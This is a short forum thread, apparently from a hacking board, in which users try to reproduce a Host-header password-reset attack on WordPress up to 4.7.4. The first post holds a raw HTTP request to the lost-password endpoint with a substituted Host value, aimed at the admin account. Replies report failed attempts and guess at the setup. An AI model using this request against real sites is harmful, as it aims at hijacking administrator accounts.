[Mr. Robot]

Looking for someone to assist me with a wordpress exploit, namely this one.

Code

-----[ HTTP Request ]----

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: websitemxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------

I'm not quite sure if I am doing it correctly and just wanting to make sure it's not me fucking it up. If you have experience in this, hit me up.

[ZwntanosNekros]

I've tried it in past but with no success, you will need a domain email i think.

[Mr. Robot]

I've tried it in past but with no success, you will need a domain email i think.

Yeah spent all day setting one up and this particular site should be vulnerable as I have set it up to be so.

Tried using both tamper data and httprequester both which didn't work and wondering if it's something i'm doing wrong.

[ZwntanosNekros]

Yeah spent all day setting one up and this particular site should be vulnerable as I have set it up to be so.

Tried using both tamper data and httprequester both which didn't work and wondering if it's something i'm doing wrong.

Same here , i will be around on thread and wait for someone who actually made it work and give a solution.
It's really interesting cve.

[Numinous]

I think you are doing some host header attack for WP 4.7 versions, RIGHT ?

[Mr. Robot]

I think you are doing some host header attack for WP 4.7 versions, RIGHT ?

All version of WP yes. up to 4.7.4